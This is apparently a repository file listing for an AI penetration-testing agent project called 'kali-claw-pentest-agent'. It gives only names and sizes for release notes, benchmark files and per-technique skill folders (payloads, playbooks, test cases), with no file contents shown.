
  • kali-claw-pentest-agent/RELEASE-v0.1.18.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.19.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.2.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.20.mdmarkdown · 3.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.21.mdmarkdown · 4.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.22.mdmarkdown · 3.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.23.mdmarkdown · 2.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.24.mdmarkdown · 1.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.25.mdmarkdown · 2.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.26.mdmarkdown · 2.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.27.mdmarkdown · 3.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.28.mdmarkdown · 6.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.29.mdmarkdown · 9.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.3.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.30.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.31.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.32.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.33.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.34.mdmarkdown · 13.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.35.mdmarkdown · 13.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.36.mdmarkdown · 15.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.37.mdmarkdown · 16.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.38.mdmarkdown · 10.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.39.mdmarkdown · 8.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.4.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.40.mdmarkdown · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.41.mdmarkdown · 12.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.42.mdmarkdown · 12.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.43.mdmarkdown · 8.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.44.mdmarkdown · 11.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.45-cybergym.mdmarkdown · 15.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.45.1.mdmarkdown · 12.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.45.mdmarkdown · 12.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.46.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.47.1-analysis.mdmarkdown · 6.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.47.mdmarkdown · 17.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.5.mdmarkdown · 4.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.6.mdmarkdown · 3.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.7.mdmarkdown · 4.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.8.mdmarkdown · 5.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.1.9.mdmarkdown · 3.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.1.mdmarkdown · 3.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.2.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.3.mdmarkdown · 16.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.4.mdmarkdown · 21.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.5.mdmarkdown · 20.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.6.mdmarkdown · 23.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.7.mdmarkdown · 13.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.0.8.mdmarkdown · 14.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.1.mdmarkdown · 11.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.2.mdmarkdown · 15.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.3.1.mdmarkdown · 8.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.3.2.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.3.3.mdmarkdown · 13.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.3.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.4.mdmarkdown · 11.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.5.1.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.5.2.mdmarkdown · 7.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.5.3.mdmarkdown · 3.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.5.4.mdmarkdown · 2.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.5.5.mdmarkdown · 1.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.5.mdmarkdown · 7.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.6.mdmarkdown · 2.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.2.7.mdmarkdown · 6.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.3.0.mdmarkdown · 6.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.3.1.mdmarkdown · 6.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.3.2.mdmarkdown · 5.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.3.3.mdmarkdown · 5.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.3.4.mdmarkdown · 4.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/RELEASE-v0.3.5.mdmarkdown · 4.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/SKILL_REMEDIATION_LIST.jsoncode · 63.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/SOUL.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/TASK1_2_PREPARATION.mdmarkdown · 5.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/TASK1_2_WORKFLOW.mdmarkdown · 11.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/TASK1_3_FRAMEWORK.mdmarkdown · 10.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/TEMPLATE.mdmarkdown · 3.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/TOOLS.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/UPDATELOG.mdmarkdown · 100.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/USER.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/VERSIONtext · 0.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/chronicle/2026-08/missing-section-cleanup-2026-08-05.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/chronicle/2026-08/skill-standardization-2026-08-05.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/chronicle/2026-08/v0.2.6-monthly-review-2026-08-29.mdmarkdown · 2.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/chronicle/2026-09/skill-review-2026-08-09.mdmarkdown · 5.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/chronicle/2026-09/v0.2.7-review-2026-09-04.mdmarkdown · 2.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/DOMAIN_MATRIX.mdmarkdown · 4.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/QUICK_REFERENCE.mdmarkdown · 19.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/SKILL_ASSESSMENT_MATRIX.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/SKILL_ASSESSMENT_METHODOLOGY.mdmarkdown · 9.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/SKILL_HANDBOOK.mdmarkdown · 76.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/SKILL_INDEX.jsontext · 141.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/SKILL_MAINTENANCE.mdmarkdown · 6.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/SKILL_VALIDATION_RANKING_2026-09-09.mdmarkdown · 17.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/TOOLS_LIFECYCLE.mdmarkdown · 2.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/cybergym-full-1508.jsontext · 441.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/cybergym-sampling-v0.1.45.jsoncode · 14.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/cybergym-sampling-v0.1.45.mdmarkdown · 16.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/cybergym-sampling-v0.1.46.jsoncode · 46.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/cybergym-smoke-test-10.jsoncode · 2.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/cybergym-v0.1.45-integration-guide.mdmarkdown · 11.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/eight-weeks-retrospective-v0.1.42.mdmarkdown · 12.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/evolution-report-v0.1.1-to-v0.1.42.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/legacy-reports/RELEASE-v0.1.47.1-final-report-zh.mdmarkdown · 4.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/legacy-reports/RELEASE-v0.1.47.1-final-report.mdmarkdown · 4.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/mopmonk-research-and-kali-claw-plan.mdmarkdown · 13.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/plans/v0.1.20-v0.1.22-roadmap.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/ppt-prompts-all-skills.mdmarkdown · 23.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/tools/full-inventory.mdmarkdown · 6.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/v0.1.47.1-QUICKSTART.mdmarkdown · 5.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/v0.1.47.1-README.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/v0.1.47.1-STATUS.mdmarkdown · 6.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/docs/v0.1.47.1-VALIDATION-REPORT.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/memory/2026-05-05-deep-research-migration-report.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/scripts/prompts/expert.txtcode · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/SKILL.mdmarkdown · 7.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/evidence/2026-09-05/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/evidence/2026-09-05/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/payloads.mdmarkdown · 14.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-6g-telecom-attack-advanced/test-cases.mdmarkdown · 4.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/SKILL.mdmarkdown · 46.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/guides/5g-telecom-attack-deep-dive.mdmarkdown · 44.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/guides/5g-telecom-attack-playbook.mdmarkdown · 31.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/payloads.mdmarkdown · 72.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/5g-telecom-attack/test-cases.mdmarkdown · 51.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/SKILL.mdmarkdown · 29.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/guides/ad-cs-abuse-detection-and-hardening.mdmarkdown · 52.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/guides/ad-cs-abuse-playbook.mdmarkdown · 31.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/payloads.mdmarkdown · 72.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-cs-abuse/test-cases.mdmarkdown · 30.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/SKILL.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/guides/ad-lateral-movement-guide.mdmarkdown · 18.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/guides/ad-recon-enumeration-guide.mdmarkdown · 13.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/guides/kerberos-attack-guide.mdmarkdown · 15.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/payloads.mdmarkdown · 45.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ad-ldap-attack/test-cases.mdmarkdown · 20.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/SKILL.mdmarkdown · 56.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/guides/agent-orchestration-patterns-playbook.mdmarkdown · 38.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/guides/agentic-pentest-deep-dive.mdmarkdown · 44.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/guides/agentic-pentest-playbook.mdmarkdown · 29.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/payloads.mdmarkdown · 56.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/agentic-pentest/test-cases.mdmarkdown · 20.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/SKILL.mdmarkdown · 25.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/guides/ai-agent-framework-attack-playbook.mdmarkdown · 31.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/guides/real-world-incident-case-studies.mdmarkdown · 22.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/payloads.mdmarkdown · 44.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-framework-attack/test-cases.mdmarkdown · 22.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/SKILL.mdmarkdown · 48.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/guides/ai-agent-security-playbook.mdmarkdown · 38.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/guides/mcp-server-red-team-playbook.mdmarkdown · 42.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/payloads.mdmarkdown · 71.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-security/test-cases.mdmarkdown · 26.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/SKILL.mdmarkdown · 19.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/guides/hugging-face-2026-07-incident-case-study.mdmarkdown · 10.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/payloads.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-agent-supply-chain-attack/test-cases.mdmarkdown · 13.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/SKILL.mdmarkdown · 17.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/coverage-guided-fuzzing.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/crash-triage-automation-guide.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/crash-triage-guide.mdmarkdown · 5.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/grammar-based-fuzzing-guide.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/protocol-fuzzing.mdmarkdown · 21.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/web-api-fuzzing-guide.mdmarkdown · 4.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/guides/web-api-fuzzing.mdmarkdown · 16.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/payloads.mdmarkdown · 38.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-fuzzing/test-cases.mdmarkdown · 21.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/SKILL.mdmarkdown · 24.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/guides/owasp-llm-top10-complete-guide.mdmarkdown · 11.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/payloads.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-safety-redteam-advanced/test-cases.mdmarkdown · 7.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/SKILL.mdmarkdown · 34.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/evidence/2026-08-17/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/adversarial-ml-testing-guide.mdmarkdown · 10.0 KB

